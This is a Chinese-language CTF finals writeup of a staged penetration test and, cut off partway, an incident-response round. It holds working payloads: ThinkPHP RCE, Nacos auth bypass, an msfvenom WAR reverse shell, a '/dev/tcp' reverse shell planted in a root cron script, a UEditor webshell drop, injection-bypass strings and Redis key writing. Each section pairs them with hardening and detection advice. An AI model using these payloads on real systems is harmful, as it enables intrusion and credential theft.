2026 京津冀大学生信息安全网络攻防大赛 · 决赛 Writeup

0. 赛制、范围与脱敏声明

0.1 决赛赛制

决赛分两场，全部在隔离靶场内进行：

场次	形式	目标	权重
上午	渗透测试实战场景	对一套模拟企业内网做完整渗透，提交 flag	23 flag / 4500 分
下午	应急响应溯源	三个独立场景（应用服务器 / 企业域网 / APT 样本），按题作答	66 题 / 10400 分

上午场考察的是攻击链的完整性与效率；下午场考察的是证据链的完整性与严谨性。两者看似对立，实际上用的是同一套底层判断力："我看到的这个现象，是不是真的能推出这个结论"。整篇复盘会反复回到这一句。

0.2 脱敏声明

为遵守赛规、也为了文档可公开分享，本文做了如下处理：

- 所有 IP 一律写成 `10.x.x.x` / `192.168.x.x` / `203.x.x.x` 这类带 `x` 的脱敏网段，主机名也改写为示意名（`web-portal`、`dc-file01` 之类）；
- 所有 flag 正文、口令、账号、密钥、邮箱一律不给出真实值，以 `flag{****}`、`<已脱敏>` 占位；
- 工具链与任何单篇公开题解不一定相同；
- 题目数量、场景结构、漏洞类型这些框架性信息保留，因为它们是公开赛制的一部分。

一句话：本文给你的是"路"，不是"答案"。答案请自己在靶场里跑一遍。

0.3 本文环境

组件	说明
攻击机	Kali Linux（为方便复现，脚本均以 bash 一行/脚本形式给出）
Windows 取证机	Windows 10 + Sysinternals 套件 + PowerShell 7
常用工具	nmap / httpx / feroxbuster / nuclei / sqlmap / netexec / tshark / Godzilla / olevba / Hayabusa

---

第一部分 · 上午场：渗透测试

1. 目标资产与"一页纸"整理法

拿到题目后的第一件事不是扫端口，而是画一张资产表。把"哪台机器、什么角色、开了什么、我拿到什么"写清楚，后面所有决策都从这张表推。

本场的靶标是一家工业物联网企业的模拟内网：三台机器对外可达（边界区），两台只能从边界机中转进去（内网区）。

主机（示意名）	地址	角色	主要端口	最终结果
web-portal	10.x.x.10	官网门户	80	root，取得 4 个 flag
ops-console	10.x.x.11	运维平台	22 / 8080 / 8081 / 8848	root，取得 4 个 flag
legacy-tool	10.x.x.12	遗留工具机	21 / 22 / 80 / 8080 / 8081	命令执行 + 注入，取得 3 个 flag
file-srv	192.168.x.20	文件服务器（Win Server 2016）	445 等	取得 1 个 flag，其余未打通
db-srv	192.168.x.21	内网数据库机	80 / 3306 / 6379	未取得 flag

这张表里藏着本场最重要的一条经验：

> 看到"一台业务机旁边挂着一排中间件端口"，**先把中间件当突破口。**

`ops-console` 上 8080 是业务、8081 是 Tomcat Manager、8848 是 Nacos —— 这三个端口摆在一起，基本等于把"配置中心 + 应用容器 + 管理后台"三件套暴露在同一台机器上。而这三样恰好是未授权/弱口令高发区。

2. 开局：用最便宜的方式拿到地图

不要一上来就 heavy 扫描。侦察的顺序是按"成本从低到高"排的：

```
# ① 一台机器先做一次全端口 TCP 扫描（很便宜，信息量最大）
nmap -Pn -sT -p- --min-rate 2000 -oA scan/border 10.x.x.10-12

# ② 对活着的端口做服务/版本识别
nmap -Pn -sV -sC -p80,8080,8081,8848,22,21 10.x.x.11 -oN scan/ops.txt

# ③ Web 侧用 httpx 快速过一遍标题与技术栈
httpx -l hosts.txt -title -tech-detect -status-code -o web.txt
```

为什么用 `-sT`（全连接）而不是默认的 SYN 扫描？在靶场/内网里，`-sT` 不需要 root 权限、也不容易被中间设备吞包，虽然慢一点但对"有没有开放"这个判断更可靠。先要正确，再要快。

拿到端口后，脑子里要有一张"端口 → 组件 → 默认弱点"的映射表：

端口	想到什么	第一反应
8848	Nacos	未授权配置读取 / 默认口令
8081	Tomcat Manager	弱口令 + WAR 部署
6379	Redis	未授权 + 写文件
445 / 139	SMB	匿名共享
21	FTP	匿名登录
8080 下的 `/actuator/*`	Spring Boot	未授权端点

3. 源码备份与目录列举：最便宜的一个洞

门户 80 端口，`feroxbuster` 一扫就出东西：

```
feroxbuster -u http://10.x.x.10 -w /usr/share/seclists/Discovery/Web-
Content/raft-medium-words.txt \
  -x php,txt,zip,tar.gz,bak -t 50 -o ferox.txt
```

结果：

```
http://10.x.x.10/robots.txt     (200)
http://10.x.x.10/backup/        (200, 目录列举)
```

`robots.txt` 里写着 `Disallow: /backup/`，而 `/backup/` 恰好开着目录列举，里面躺着整站源码包。

> **判据**：`robots.txt` 的 `Disallow` 是"请求搜索引擎别收录"，不是访问控制。它写出来的路径，往往正是最敏感的那几个。看到 `Disallow` 就直接去访问，命中率极高。

拿到源码包后，价值不在包本身，而在于它是后续攻击的地图：数据库配置、框架版本、隐藏路由、硬编码凭据全在里面。

```
tar -zxf www.tar.gz
grep -rniE 'password|passwd|secret|key|token' . --include='*.php' --
include='*.conf' | head -50
```

加固：备份包不放 Web 根下（或放但加认证）；Nginx/Apache 关目录列举；`robots.txt` 不写敏感路径。
检测：对 Web 根下的 `*.zip|*.tar.gz|*.sql|*.bak` 做访问告警。

4. ThinkPHP 5 / ThinkCMF 未授权调用链

4.1 先用现成模板，再手工打

更省事的做法是先用自动化工具确认漏洞存在，命中后再手工精修 payload：

```
# 用 nuclei 的 thinkphp 模板先过一遍
nuclei -u http://10.x.x.10 -t http/thinkphp -silent -o nuclei_thinkphp.txt
```

如果有回显，说明链路通；接下来手工打，方便控制命令。

4.2 漏洞本质：把用户输入当成了类名

ThinkPHP 5.0 的兼容模式下，URL 参数 `s` 被当作"模块/控制器/操作"三段路由：

```
?s=portal/\think\app/invokefunction
   └模块┘ └──控制器──────┘ └──操作──┘
```

三个关键点串起了整条链：

1. 模块名必须真实存在 —— 框架会 `is_dir()` 检查；ThinkCMF 只有 `portal / admin / user / install` 四个模块。
2. 控制器名里带反斜杠时，会被完整保留为命名空间，不再拼模块前缀：

   ```
   if (false !== strpos($name, '\\')) { $class = $name; }   // 用户输入直接成了类名
   ```

3. `think\App::invokeFunction()` 是个不带白名单的万能调用器：

   ```
   public function invokeFunction($function, $vars = []) {
       return call_user_func_array($function, $vars);
   }
   ```

第 2 点 + 第 3 点一串，就等于任意函数调用。

4.3 一发入魂的简化 payload

```
# 注意三个坑，下面全部规避了：
#  1) 反斜杠写成 %5C，否则 URL 规范化会把 \ 变成 /，语义丢失
#  2) 模块名必须真实（portal），网上 PoC 常写 index → 直接 404
#  3) curl 要用 -g/--globoff，否则 vars[0] 的方括号被当通配符，请求发不出去
curl -sg "http://10.x.x.10/index.php?
s=portal/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=syst
em&vars[1][]=id"
```

把 `system` 换成 `file_get_contents` 就是任意文件读；换成 `call_user_func` + `assert` 之类可做更多。

4.4 四个坑其实就是漏洞的边界

现象	真实原因	正确动作
404	`s` 里的模块名不存在（PoC 写了 `index`）	读异常信息，把模块名换成真实的
0 字节响应	请求根本没发出去（方括号被当通配符 + 静默模式吞异常）	加 `-g`；去掉静默，看 `-v` 输出
命令不带引号才通	框架 `default_filter` 把 `< > & " '` 转义	空格用 `%09` 或 `${IFS}`，引号用八进制
写 webshell 落地后不执行	`<?php` 被转成 `<?php`	用十六进制/八进制绕，或分片写

> **"响应 0 字节"的第一嫌疑永远是"我的请求没发出去"，而不是"目标防住了"。** 这条在整场比赛里反复救场。

加固：升级到 5.0.23+/5.1.31+；删除 `install` 模块；对 `s` 参数做正则白名单（`^[a-zA-Z0-9_/]+$`）。
检测：URL 中出现 `invokefunction` / `call_user_func_array` / `%5Cthink%5C`；对返回 404 的长 `s=` 参数告警（典型 PoC 试探特征）。

5. 从命令执行到 root：sudo + GTFOBins

5.1 思路

`sudo` 授权的是可执行文件，不是一件事。一旦授权了能读任意文件或能调起 shell的程序，就等于授权了 root。

```
sudo -l
# User www-data may run the following commands on web-portal:
#     (root) NOPASSWD: /usr/bin/vim
```

`vim` 在 GTFOBins 里同时具备"读写任意文件"和"执行 shell"两种能力。

5.2 无 tty 场景：不要想着看回显，让它写文件

Web 命令执行 / 反弹 shell 拿到的都不是交互终端，没有伪终端（pty）。此时 `vim` 退化为 Ex 模式，`:!cmd` 的 stdout 不会回到你手里 —— 命令执行了，只是你看不到。

正确姿势是让特权 vim 把结果落到一个你能读的文件：

```
# 读 root 文件：用 :w! 另存为可读副本
sudo vim -esn -c ':w! /tmp/r.txt' -c ':q!' /root/flag.txt && cat /tmp/r.txt

# 以 root 执行命令并落盘
sudo vim -esn -c ':!id | tee /tmp/o.txt' -c ':q!' && cat /tmp/o.txt
```

参数含义：`-e` Ex 模式、`-s` 静默、`-n` 不写 swap 文件（不加它，vim 会卡在 "Press ENTER" 上等按键）。

> 通用结论：任何 TUI 程序在无 tty 环境下都可能行为异常。 要么伪造 pty（`script -qc "命令" /dev/null`），要么让它写文件。"没有回显" ≠ "没有执行"。

加固：sudoers 禁止授权编辑器/分页器/解释器（`vim` / `less` / `find` / `awk` / `python`）；需要编辑特权文件用 `sudoedit`；`Defaults use_pty`。

6. Spring Boot Actuator：内存里一定有凭据

6.1 为什么是"内存"

运维平台的题目问"在运行内存中获取" —— 这句话直接指向 `/actuator/heapdump`。

为什么堆里必然有敏感数据：Java 的字符串常量、配置项、数据库连接串、JWT、口令，在堆里只能以明文驻留（程序要用它，就不可能保持加密）。

```
curl -s -o heap.hprof "http://10.x.x.11:8080/actuator/heapdump"

# 最省事的做法：直接把二进制当文本搜
strings -n 6 heap.hprof | grep -aEi 'flag\{|password|passwd|jdbc:|secret' | sort
-u | head -40
```

更高效的工具：`JDumpSpider` 一键把堆里的数据源、口令、Token 提出来，比手工 `strings` 精准得多：

```
java -jar JDumpSpider.jar heap.hprof
```

6.2 顺序：先看轻量端点，再啃堆

很多人的第一反应是下几 MB 的堆。其实先看这几个端点更划算：

端点	内容
`/actuator/env`	全部配置属性（常直接含口令）
`/actuator/configprops`	绑定到配置类的对象（数据源口令常在这）
`/actuator/mappings`	全部路由 = 攻击面地图
`/actuator/threaddump`	线程栈（可能含 SQL 与参数）
`/actuator/heapdump`	全堆（杀手锏，但最重）

加固：`management.endpoints.web.exposure.include=health,info`（白名单，别用 `*`）；显式关闭 heapdump；Actuator 换独立端口且只绑内网。
检测：对 `/actuator/*`（尤其 `heapdump` / `env` / `configprops`）的访问告警 —— 正常用户不会访问这些路径。

7. Nacos 认证绕过：一个请求头换整个配置中心

7.1 漏洞原理

Nacos 1.4.0 的 `AuthFilter` 里有一段"服务端之间互相信任"的逻辑：

```
if ("Nacos-Server".equals(request.getHeader("User-Agent"))) {
    return chain.doFilter(request, response);   // 直接放行，不校验身份
}
```

它**只用一个客户端完全可控的 HTTP 头来判定身份**（CVE-2021-29441）。加上这个头，你就是"内部服务"。

```
curl -s -H 'User-Agent: Nacos-Server' \
  "http://10.x.x.11:8848/nacos/v1/cs/configs?
search=accurate&dataId=&group=&pageNo=1&pageSize=100"
```

（自动化也可以直接上：`nuclei -u http://10.x.x.11:8848 -t http/nacos`。）

7.2 为什么它是"横向移动性价比最高的一步"

Nacos 里存的是**整个微服务集群的配置** —— 数据库口令、Redis 口令、第三方 Key、加密盐值全在里面。本场就直接读到了 Tomcat Manager 的账号口令。

> **从一个未授权读到RCE，中间只隔了一次配置泄露。**
> 所以：看到配置中心暴露，优先级排在扫目录之前。

加固：升级到 1.4.1+；`nacos.core.auth.enabled=true` 且改掉默认口令；只监听内网。
检测：来自外部的请求里出现 `User-Agent: Nacos-Server`；对 `/nacos/v1/cs/configs` 的大批量读取告警。

8. Tomcat Manager：用 text 接口部署 WAR

8.1 为什么 HTML 上传口会 403

Tomcat 的管理角色是分开的：

角色	权限
`manager-gui`	访问 HTML 界面，但上传要带 CSRF token，脚本直接 POST 会 403
`manager-script`	使用 `/manager/text/*` 的 text 接口，为脚本设计，无需 CSRF token

> 遇到 403 别急着换工具，先想是不是角色/协议用错了。Tomcat Manager 的 403 十有八九是"gui 角色 + 缺 CSRF token"。

8.2 一行部署（比手搓表单可靠得多）

```
# 生成 war 载荷
msfvenom -p java/jsp_shell_reverse_tcp LHOST=198.x.x.x LPORT=4444 -f war -o x.war

# 用 text 接口直接部署/热更新
curl -u 'admin:<口令>' "http://10.x.x.11:8081/manager/text/deploy?
path=/x&update=true" --upload-file x.war
# 也可以直接用 Metasploit 的 tomcat_mgr_upload 模块，免手搓

# 触发
curl -s http://10.x.x.11:8081/x/
```

8.3 写 JSP 马时的三个语言层细节

1. **必须显式调 shell。** `Runtime.exec(String)` 按空格切分、不经过 shell，管道/重定向/`;` 全无效。要带 shell 语义必须 `new String[]{"/bin/sh","-c",cmd}`。
2. **JSP 里尽量别出现反斜杠。** 想表达"读到流结尾"常写 `useDelimiter("\\A")`，但这段代码要过编辑器→传输→落盘→Jasper 编译多层转义，任一层处理不当就变成非法转义 → 整个 JSP 编译失败（500）。改用 `BufferedReader` 逐行读，零反斜杠。
3. **"不回显"通常不是"没执行"**：常见原因是没读 `getErrorStream()`、异常被静默 `catch`、输出没 flush。拿不到输出就让它写文件。

加固：生产删除 `webapps/manager`；必须用时只留 `manager-script` 且绑 127.0.0.1；Tomcat 低权限运行。

9. 可写文件 + root 定时任务：换一个视角找提权

9.1 视角的转换

本题刻意摘掉了 `sudo` 和 `pkexec` 的 SUID 位，内核也老 —— 常规提权路全堵。逼你换一个视角：

> 不看"哪些文件有特殊权限位"，而看 "哪些文件我能改、而 root 会执行它"。

思路	找什么	命令
我能以高权限执行什么	SUID / SGID	`find / -perm -4000 -type f`
我能改什么、高权限会执行它	世界可写文件 + cron/systemd	`find / -perm -o+w -type f`
我能影响什么环境	PATH / LD_PRELOAD	读服务与脚本

本场的答案是 `/opt/tomcat/bin/logbackup.sh` —— 全系统唯一一个 o+w 文件，脚本注释里自己写着"每分钟由 root 的 crontab 调起"。

```
find / -xdev -type f -perm -o+w 2>/dev/null
```

9.2 两个容易做错的细节

1. payload 必须插在 `exit 0` 之前。脚本以 `exit 0` 结尾，追加到文件末尾永远不会被执行 —— 要用 `sed` 的插入而不是追加：

   ```
   sed -i '/^exit 0/i bash -i >& /dev/tcp/198.x.x.x/4444 0>&1'
   /opt/tomcat/bin/logbackup.sh
   ```

2. 它不一定在你想到的地方。 这个脚本在 root 自己的 crontab 里，`/etc/crontab` 和 `/etc/cron.d/` 都查不到 —— 要看 `crontab -l -u root` 或 `/var/spool/cron/crontabs/root`。

9.3 排查过的死路（同样是知识点）

- `getcap -r /` 无可利用能力（无 `cap_setuid`）；
- 当前用户不在 docker / lxd 组（在的话 `docker run -v /:/host` 直接 root）；
- 应用目录 `drwxr-x--- opsapp`，进不去；
- `/etc/sudoers.d` 只有 README。

加固：文件权限基线监控（AIDE / auditd）；root 的 cron 脚本必须 `root:root 644`；定期清点 SUID/SGID 与世界可写文件。

10. 数据库与签名密钥：`authcode` 才是真宝藏

数据库口令从源码配置文件里直接读到。注意数据库只监听 localhost，外部连不上 —— 所以"能不能查库"取决于你手上有没有这台机器的命令执行。

真正有价值的是配置里的 `authcode`（ThinkCMF 用它签名 session / cookie）。后台登录要过验证码，但拿到 `authcode` 就可以自己签一个管理员 cookie，直接绕过验证码进后台。

```
# 大致思路（不同版本字段名不同，以实际源码为准）
# 伪造 CMF 的管理员登录 cookie，再用它访问 /admin
```

> 业务数据表里的备注字段是常被忽略的藏宝地（版本说明、变更记录、内部留档）。审计数据库时别只盯用户表。

加固：配置文件不进 Web 目录、权限收紧；口令不写明文；`authcode` 这类签名密钥要能轮换。

11. 匿名 SMB + 加密压缩包

11.1 链条

```
匿名 SMB 可读共享目录 → 里面有个加密压缩包 → 爆破压缩包口令 → 解出 flag + 一份写着门户凭据的文本
```

11.2 用 netexec / smbmap 代替手搓 smbclient

```
# 匿名（空凭据）枚举共享
netexec smb 192.168.x.20 -u '' -p '' --shares
smbmap -H 192.168.x.20

# 指定共享递归列文件
netexec smb 192.168.x.20 -u '' -p '' --spider SHARE
# 或 impacket 的 smbclient.py
```

11.3 压缩包爆破：先判类型，再选工具

`ZipCrypto`（传统加密）和 `AES-256` 是两套完全不同的算法，对应不同的爆破方式。先确定加密类型，再选工具，猜错了白跑。

```
# 方法一：fcrackzip（简单直接）
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt data.zip

# 方法二：john（字典质量更好时更稳）
zip2john data.zip > z.hash && john --wordlist=rockyou.txt z.hash

# 方法三：hashcat（GPU 加速，大批量时最快）
zip2john data.zip > z.hash && hashcat -m 17200 z.hash rockyou.txt   # ZipCrypto
# AES 加密的 zip 是另一套模式（-m 13600），别混用
```

> 共享里的文件比共享本身更值钱：本题收获不止 flag，还有一个写着门户凭据的文本文件，一次泄露带来下一次登录。

加固：关闭匿名共享；共享按最小权限授予；敏感压缩包不放共享目录。

12. IIS + UEditor 抓取上传（本场景唯一"马进去了没打通"）

12.1 已经打通的路径

门户是登录页，用上一步拿到的凭据能进。门户挂了 UEditor（.NET 版），它的 `catchimage` 功能可以让服务器去远程抓取一个文件并落盘，而：

- 它判断"是不是图片"只看 HTTP 响应头里的 `Content-Type`，不看内容；
- 落盘名用 `Path.GetFileName(源 URL)` → 扩展名由源 URL 决定。

复现方式：用 Python 起一个假的 HTTP 服务，对任意请求都返回 `Content-Type: image/gif`：

```
# serve.py —— 一个永远说自己是图片的服务器
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header('Content-Type', 'image/gif')   # 关键：image/gif
        self.send_header('Content-Length',
str(len(open('shell.aspx','rb').read())))
        self.end_headers()
        self.wfile.write(open('shell.aspx','rb').read())
    def log_message(self, *a): pass
HTTPServer(('0.0.0.0', 8000), H).serve_forever()
```

```
python3 serve.py &
curl -s "http://10.x.x.10/ueditor/net/controller.ashx?
action=catchimage&source[]=http://198.x.x.x:8000/shell.aspx"
```

12.2 卡在哪

马确实落地了，也确实被 ASP.NET 执行了（响应 200，响应头有 `X-AspNet-Version`），但响应体长度是 0。

怀疑方向：应用池禁止 `cmd.exe`（Windows 上常见，所以"起进程执行命令"的马必然空输出）；落盘内容被 UEditor 二次处理；上传目录的 `web.config` 限制了输出。

正确的下一步：换成纯 .NET IO 的马（直接用 `File.ReadAllText` 读文件、完全不起进程），而不是继续在"起 cmd 进程"这条路上折腾。

> 在 IIS 上拿 Web 马，优先写不依赖子进程的版本。"能执行脚本"和"能起进程"是两回事，后者常被应用池配置挡住。判断马有没有效也不能只看 HTTP 状态码，要看响应体，或者让它产生带外可见的副作用（写一个可读文件、发一个 DNS 请求）。

12.3 已经排除的方向（省得重跑）

系统补丁已打齐（MS17-010 无效）；WinRM 上该账号无权限；`C$` / `ADMIN$` 不可用；WebDAV 返回 405。

加固：删除或替换 UEditor；上传接口做扩展名白名单 + 内容嗅探，不能信任源 URL 的扩展名；上传目录禁止脚本执行。

13. 命令注入与黑名单绕过

13.1 场景

`legacy-tool` 的 8081 上有个"现场运维工具"，ping 功能把用户输入拼接进 shell：

```
system("ping -c 4 " . $_GET['host']);
```

输入 `;id` 被拦，报错信息把黑名单完整列了出来：

```
目标地址包含非法字符（不允许 ; & ( ) $ ` | > < '）
```

这份黑名单本身就是情报 —— 它精确列出了开发者想到的元字符，而它漏了换行符。在 shell 里换行等价于命令分隔符：

```
curl -s "http://10.x.x.12:8081/ping.php?host=127.0.0.1%0aid"
```

自动化也可以直接上 `commix`：

```
commix -u "http://10.x.x.12:8081/ping.php?host=127.0.0.1"
```

13.2 黑名单绕过的通用清单（按优先级）

手法	载荷	说明
换行	`%0a`	最常被漏掉，等价于 `;`
回车 / Tab	`%0d` / `%09`	同上
`${IFS}`	`cat${IFS}/etc/passwd`	绕空格过滤
引号拼接	`cat /etc/pass'w'd`	绕关键词过滤
变量拼接	`a=cat;b=/etc/passwd;$a $b`	绕命令名黑名单
通配符	`/???/c?t /etc/pass?d`	绕路径过滤
编码	`echo <base64> | base64 -d | sh`	绕过所有字符过滤

> 黑名单永远是错的。 只要 shell 支持某种分隔/替换机制而黑名单没列全，就能绕过；而且黑名单的报错信息往往泄露完整过滤规则，等于把绕过方向告诉攻击者。白名单才对 —— 输入是 ping 目标，就该按 IP 格式校验。

加固：不拼接（用参数数组、或 `escapeshellarg`）；输入白名单校验；服务降权运行。

14. SQLite 注入：工单查询背后的库

14.1 入口

`legacy-tool` 的 80 端口是个"设备台账"PHP 站，首页自己列了功能入口（工单查询、调度台、设备状态、管理后台）—— 省掉几百次目录猜解。

工单查询页源码里，开发者自己注释承认没做参数化：

```
// 按工单号查询（调度台与工程师共用，未做参数化）
$sql = "SELECT t.id,t.title,t.content,t.created_at,u.user_name
        FROM tickets t JOIN users u ON u.id=t.uid WHERE t.id=$id";
```

`$id` 既没引号也没过滤 → 数字型注入。

14.2 手工 UNION（3 个要点）

1. 列数必须对齐。原查询 5 列，所以 payload 是 `UNION SELECT 1,<数据>,3,4,5`。
2. SQLite 的 "information_schema" 叫 `sqlite_master`，一条查询拿到全部表名与建表语句：

   ```
   SELECT name, sql FROM sqlite_master WHERE type='table'
   ```

   比 MySQL 省事得多（不用逐库逐表枚举）。
3. 权限边界决定攻击路径：库文件属 `www-data`，而通过命令注入拿到的是另一个低权用户 —— 读不到库文件，所以只能走 Web 注入（Web 进程有权限读自己的库）。

拿到表结构后，flag 在 `config` 键值表里：

```
http://10.x.x.12/?page=ticket&id=-1 UNION SELECT 1,(SELECT
group_concat(k||'='||v) FROM config),3,4,5
```

想偷懒也可以直接上 sqlmap（能自动识别 sqlite）：

```
sqlmap -u "http://10.x.x.12/?page=ticket&id=1" --dbms=sqlite --dump --batch
```

14.3 同一台机器上顺手挖到的其他缺口

- 工单附件不在页面上，在文件系统里：`attachment.php` 读的是 `/var/lib/hcweb/attachments/<工单号>.txt`。题目说"附件中"就要去文件系统找。
- 后台是参数化查询，注入无效 —— 但可以用 SQLi dump 出来的账号口令正常登录。注入的用途不只是偷数据，还包括拿凭据。
- 前端 JS 里硬编码 Token（见下一节）。

加固：PDO 预处理（根治）；对 `id` 强制类型转换；关闭生产环境报错回显；数据库文件权限收紧。

15. 凭据泄露的两种形态

15.1 前端硬编码 Token：先推理，别爆破

`legacy-tool` 的 `/api/status.php` 直接请求返回：

```
{"error":"unauthorized","message":"缺少或错误的 X-Api-Token"}
```

需要 `X-Api-Token` 请求头。这里有两条路：爆破，或者想清楚谁会持有这个凭据。

选后者，而且理由是推出来的：

> 这个接口是给"设备台账大屏"用的 → 大屏是浏览器里的前端代码 → 前端要发请求就必须持有 token → token 必然存在于前端能拿到的资源里。

首页已暴露 `<script src="/static/monitor.js">` —— 名字本身就说明它是监控轮询组件。读它，token 就在里面。

```
curl -s http://10.x.x.12/static/monitor.js | grep -iE 'token|key|api'
```

拿到 token 后请求接口，flag 在接口响应体里。

> 两条可迁移的经验：
> ① 遇到"要凭据"的接口，先问"谁持有它"，别急着爆破。 硬编码在前端 JS 里的 token/AK/SK 是极常见的陋习，每碰一个站点都值得把 JS 拉下来翻一遍。
> ② 题目的措辞通常就是答案的位置："响应中"→读返回体；"附件中"→找文件路径；"公告中"→读后台；"共享目录"→FTP/SMB/NFS；"数据库中"→查库。读题时把定语圈出来。

15.2 匿名 FTP：把抽象说法落成具体协议

题目说"文件服务的共享目录" —— 这是个抽象说法，先落成具体协议：

协议	端口	特点
SMB/CIFS	445、139	需凭据，或配了匿名共享
FTP	21	可能允许匿名，目录列举是原生功能
NFS	2049	Linux 之间共享，靠 IP 白名单

端口扫描结果里没有 445、也没有 139 —— SMB 这条路直接排除。

```
ftp 10.x.x.12       # 用户名 anonymous，密码空
# 或 nmap 的 ftp-anon 脚本一键判断
nmap -p21 --script ftp-anon 10.x.x.12
```

目录里两个文件：`README.txt` 与 `handover.txt`。读有语境的那个 —— `handover`（交接）是有上下文的词，`README` 是模板化通用词，flag 就在 `handover.txt` 的"交接校验码"里。

> 可迁移的经验：`handover` / `onboarding` / `credentials` / `notes` / `todo` / `migration` / `legacy` / `deprecated` / `internal` 这类文件名，命中率远高于随机名字。读目录列表时留意名字。

加固：Token 一律服务端下发或从服务端配置读取，绝不硬编码进前端；关闭 FTP 匿名登录（`anonymous_enable=NO`）。

16. 内网两台为什么没打进去

这段是失败复盘，信息量比成功案例大。

16.1 已经拿到的东西

- `file-srv` 的 Web 马能落地（见第 12 节），但无输出；
- `db-srv`（192.168.x.21）三个入口都在手上：Redis 4.0.9 未授权（能连、能回 `PONG`）、MySQL 3306 开放（口令全失败）、80 端口上的 Tiny File Manager（token 能提取，口令全 302）。

16.2 卡点在哪（判断错误）

1. 跳板/隧道选错了。 正确做法是：先在一台边界机拿到 root，再用 SSH 端口转发架隧道，而不是试图在低权 shell 里做中继。边界机（web-portal / ops-console）有内网口，是天然跳板。
2. 工具用法没确认就下结论。 判断端口开闭时用了 `nc -z`，而目标机上装的是传统 netcat，不支持 `-z` —— 那一批"端口关闭"的结论全是无效的（`nc` 报的是参数错误，不是连接失败）。

   > 用某个工具下结论之前，先确认这个工具在当前环境里用法有效（`which` + 看帮助）。更稳的做法是用不依赖外部工具的方式探测端口：

   ```
   # bash 内置，不依赖任何外部工具
   timeout 2 bash -c 'echo >/dev/tcp/192.168.x.21/6379' && echo OPEN || echo
   CLOSED
   ```

3. Redis 只拿到了"能连"，没走完利用链。 Redis 未授权的利用是多条路：写 SSH 公钥、写 cron、写 webshell、主从复制加载模块、`CONFIG SET dir/dbfilename` 任意路径写文件。能连上只是第一步，真正的价值在能写文件→能执行。
4. 拿到入口不等于拿到权限。 MySQL 和 Tiny File Manager 都在等口令 —— 而口令应该去已经拿到的源码/配置里找（门户源码包、配置文件），而不是硬猜。

16.3 重来一次：Redis 未授权的完整链（更简单的一条）

```
redis-cli -h 192.168.x.21
# 写 authorkey（需要 Redis 以 root 运行）
config set dir /root/.ssh
config set dbfilename authorized_keys
set x "\n\nssh-rsa AAAAB3... <你的公钥>\n\n"
save
# 之后直接 ssh -i 私钥 root@192.168.x.21
```

或者用现成的 `redis-rogue-server` 走主从复制加载恶意模块拿命令执行 —— 比手写模块省事。

加固：Redis 设 `requirepass` + `bind 127.0.0.1` + `rename-command` 禁危险命令 + 低权运行；MySQL 强口令且只绑内网。

17. 上午场复盘

#	问题	根因	正确做法
1	没拿到稳定隧道就深入内网	在低权 shell 里做中继	先固化一台边界机 root，再端口转发
2	把"工具用不了"当成"目标不给"	`nc -z` 在本机不支持	先验证工具用法；用 `/dev/tcp` 兜底
3	PoC 跑不通就判"漏洞不存在"	payload 里的模块名不存在	读异常信息，它已写清原因
4	时间分配失衡	内网投入产出比极低	先把边界机吃干净，再啃内网

第二部分 · 下午场：应急响应

场景总览

下午场是防守方视角，三个独立场景、66 题：

场景	目标	题量	主要难点
题目一 移动应用服务器溯源	单机（CentOS 7 + Tomcat）	20	逆向自定义算法、解加密流量
题目二 企业网应急溯源	域环境多机	36	跨主机行为关联、口径歧义
题目三 APT 样本分析	一个文档样本	10	宏解包、WMI 持久化结构

三个场景的方法差异（这是分场景看的价值）：

场景	主战场	核心证据	工具
题目一	单机 + 应用层	流量包 + APK + 应用配置	tshark / NetworkMiner / MobSF
题目二	多机 + 域环境	攻击者遗留脚本 + Windows 事件日志	netexec / Hayabusa / Autoruns
题目三	样本静态分析	一个文档样本	olevba / oledump / strings

题目一 · 移动应用服务器（20 题）

1.1 场景与证据

一台被入侵的生产服务器 `app-srv01`（CentOS 7，Tomcat 监听 18080，对外 IP 203.x.x.32），配套一个移动端 APK。

证据	内容
流量包	约 100+ MB 全量抓包（含攻击全过程）
APK	移动端安装包
应用日志	Tomcat 访问日志、应用自身日志
系统日志	`/var/log/secure`
主机文件系统	`/etc/crontab`、`/etc/shadow`、SSH 组件、Web 目录

1.2 攻击链总览

```
① 逆向 APK，拿到登录口令（客户端做了"加密"的本地校验）
② 用口令调 /api/login 登录，服务端下发带权限位的 JWT
③ 上传接口只校验 Content-Type → 传上伪装成 image/jpeg 的 .jsp
④ 哥斯拉连上 webshell 执行命令（第一条：cat /etc/passwd）
⑤ 反弹 shell 出去（端口 5555）
⑥ 写 /etc/crontab 后门，每分钟回连 C2（203.x.x.130:9090）
⑦ 图形终端上改 root 口令
⑧ 以 root 身份 SSH 登录，并在 SSH 组件里植入"记录口令"的后门
```

这条链的每一步都对应一道题，所以先建立全景再看细节，比按题号顺序逐条查快得多。

1.3 逐题索引（Q1–Q20）

题	题目	答案（脱敏）	详解
Q1	攻击此服务器的 2 个 IP	`203.x.x.11`、`203.x.x.130`	1.4
Q2	APK 登录成功时的密码	`<脱敏>`	1.5
Q3	APK 中有上传权限的秘钥	`<脱敏>`	1.6
Q4	漏洞接口的 API 地址	`http://203.x.x.32:18080/api/upload`	1.6
Q5	尝试上传但无权限的文件名	`1.png`	1.7
Q6	上传的 webshell 原始文件名	`1.jsp`	1.7
Q7	webshell 的密码	`<脱敏>`	1.8
Q8	通过 webshell 执行的第一条命令	`cat /etc/passwd`	1.9
Q9	第一次反弹 shell 的端口	`5555`	1.10
Q10	webshell 查询的当前 shell 权限	**未解**（线索在 `BasicInfo` 的**响应**里）	1.13
Q11	爆破路径的次数	**未解**（口径歧义）	1.13
Q12	从服务器下载的文件的文件名	`importantfile.file`	1.11
Q13	该文件解密后的内容	一个 flag	1.11
Q14	通过什么文件修改的 root 密码	**未解**	1.13
Q15	黑客设置的 root 密码	**未解**（哈希撞出的是原有口令）	1.13
Q16	后门反连的 ip 和 port	`203.x.x.130:9090`	1.10
Q17	利用后门反连后执行的第一条命令	`rpm -qa` 过滤 `pam`	1.10
Q18	被加 suid 权限的文件	**未解**（全盘枚举无异常）	1.13
Q19	后门密码	`<脱敏>`	1.12
Q20	后门把口令记录在哪个文件	`/tmp/....`（4 个 ASCII 点）	1.12

1.4 Q1 两个攻击 IP：先建"谁在和受害机说话"

第一步不是看内容，而是建立通信关系图：

```
# 按"目的地址 = 受害机"的来源 IP 聚合计数
tshark -r u.pcap -q -z conv,tcp | head

# 或者更直接：统计和受害机建连的源/目的
